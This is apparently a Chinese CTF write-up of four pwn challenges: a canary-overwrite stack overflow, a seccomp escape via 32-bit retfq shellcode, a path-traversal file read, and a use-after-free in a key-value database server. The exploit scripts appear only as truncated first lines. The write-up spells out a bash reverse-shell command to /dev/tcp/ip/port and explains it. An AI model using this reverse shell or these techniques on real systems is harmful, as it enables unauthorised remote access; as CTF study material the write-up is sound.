0W46[NJBY[R`A.png)
pwn1
一道有点点麻烦的scanf栈溢出,给了两次任意改和一次74字节的scanf输入机会,所以可以通过任意改改TLS储存的canary的值,不过只有在线程中才canary的储存位置才离栈很近,可以通过栈改,在进程中都是储存在fs段,离栈非常远就不好更改了,然后通过scanf的栈溢出搞个ogg就能getshell了。
1 | from pwn import * |
pwn2 shellcode
一道有沙箱的shellcode题目,刚开始题目出的有问题,沙箱没有禁用0x40000000,所以可以0x40000000+系统调用号
绕过沙箱,本地是成功的,但是远程一直不成功,和出题人反馈后说是题目出错了,最后ban了0x40000000,但是没有ban架构,沙盒如下
1 | rootzhang@ubuntu:~/get-shell/xidian/pwn5$ seccomp-tools dump ./pwn |
本质上他允许1 5 0 9
这四个系统调用号,在32位下调用号5对应open
,这样orw就凑齐了,先在64下利用mmap申请32位地址的地段空间,然后使用retfq
转到32位,调用open后调用retfq
返回64位,注意32位没有retfq这个指令所以填的是64位的,还有第二个retfq后面必须得还有指令才能执行成功,不然就会出错,最后在64位下调用rw得到flag
基本上是mark佬提供的思路。膜膜
1 | from pwn import * |
pwn3 easy_http
可以任意文件读,就是禁了/home/minil/flag
目录,绕过就行了,比如/home/../home/mimil/flag
1 | from pwn import * |
pwn4 kvdb
这道题的代码量是我做过的题中最大的,当时审了一会实在审不下去就放弃了,后面出题人鉴于难度太大直接放了源码,才又跑来看这道题,一看源码,好家伙加起来一千多行了,光审明白代码和找见漏洞花了一个晚上。🤦♀️
0x1 结构体及关系
程序实现的是一个简易版本的数据库,把里面的结构体的关系抽象出来就是如下图
其中比较重要的是data_t
结构体了,本质上他有两个成员,一个成员是uint16 type
,记录的是这个data_t
结构体是什么类型的,0->empty,1->int,2->float,3->string,然后还有一个union共用题记录成员具体的量。
1 | typedef uint64 data_integer_t; |
这个结构体是0x18大小的,所以会申请0x10大小的堆,然后下一个堆头的前八个字节也给这个堆用。
0x2 大致逻辑
程序是利用socket和用户进行交互的,程序的启动脚本如下
1 | ./kvdb -p 9999 -m 32 -l /dev/null -t 10 -d |
这是程序对命令行参数的解析过程,其中getopt
函数就是每次取一个选项,然后把选项对应的值存到optarg中
1 | while ((c = getopt(argc, argv, "p:m:t:l:hd")) != -1) { |
解析完毕后对变量的赋值如下。
1 | socks_server_port=9999 |
然后就进入了init_daemon()
函数,这个函数的作用就是生成守护进程,感觉很有意思可以学习一下,生成守护进程后程序的标准输入输出就脱离终端了,然后进入server_loop()
函数创建服务端socket,一直accept等待连接,有连接后再fork一个子进程让子进程处理请求。
1 | uint32 server_loop() { |
子进程调用handle_request(fd)
函数处理请求
1 | uint32 handle_request(int sock) { |
首先经过一些检查,然后根据报文里的内容调用对应函数,可选项一共有这些
1 | op_buf={ |
然后这些选项对应的函数如下
1 | static struct op_handler { |
其中比较关键的就是op_handler_ADD()
,op_handler_DEL
,op_handler_RNM
,op_handler_MDF
,op_handler_GET
,op_handler_DUMP
这几个函数
1 | uint32 op_handler_ADD(int sock) { |
其中add函数是接收一个key和value然后放入database中,del函数就是根据key删除一对键值对,get就是根据key向用户发送对应的value,rnm就是重写一个key,mdf就是根据一个key重写一个value,dump就是把数据库里的所有数据全都发送给用户
处理用户输入的函数如下,就是根据不同的type创建不同的data_t
,审完发现非常安全。
1 | data_t* read_data_t(int sock) { |
0x3 漏洞
漏洞就是出在dump函数中的dump_data_item()
身上,他对数据库的复制并不是深拷贝,而是直接把地址拿过来了,最后还把这些地址全都通过release_data_t()
函数释放了,但是这些地址还存在在数据库中,所以导致了uaf
。
1 | data_t *dump_data_item(){ |
0x4 漏洞利用
这个程序觉得最难的不是发现漏洞,而是发现漏洞后该如何利用漏洞,成功发现漏洞到利用成功又花了一天,由于key和value的前八个字节放的是他的类型,如果被free的话就会破坏,但是如果再次访问的话就访问不到了,刚开始的思路是让free掉的堆被unlink就好了,但是试了一会发现0x20大小的堆根本不会unlink,所以没办法free完之后立即使用
正确的思路就是直接再申请被free掉的堆块,这样就有两个指针指向同一块区域了,然后在申请的时候申请string的value,就可以利用string控制节点了。这是个概率事件,得多次重复的申请才可能成功。
1 | #add_int_string |
这样以后堆块的堆叠情况是这样的
1 | 这是每一个键值对的堆块的后12位 |
可见我们可以控制3个节点了,利用这三个节点完成对__free_hook
的改写,然后反弹flag,出题人说不连外网,所以直接通过sokcet把flag反弹回来
完整脚本
1 | from pwn import * |
反弹原理
类似bash的反弹原理,bash的反弹命令是
1 | base -i &> /dev/tcp/ip/port 0>&1 |
其中base i
的作用是产生一个base交互环境,然后&>
代表着把前面base的交互环境的标准输出和标准错误重定位到后面的文件中,然后后面0>&1
就是把标准输入重定位到标准输出上,由于标准输出指向tcp连接,所以标准输入也重定位到这个文件上了,这样就产生一个交互式的base了。
其中比较重要的就是>&
符号,他会把前面的内容重定向到后面的内容,后面是个fd,比如echo flag >&1
就是把flag重定向到了到了1即标准输出,在脚本中我是cat flag >&4
就是把flag文件的内容重定向到了4即scocket连接上。所以会把flag发过来。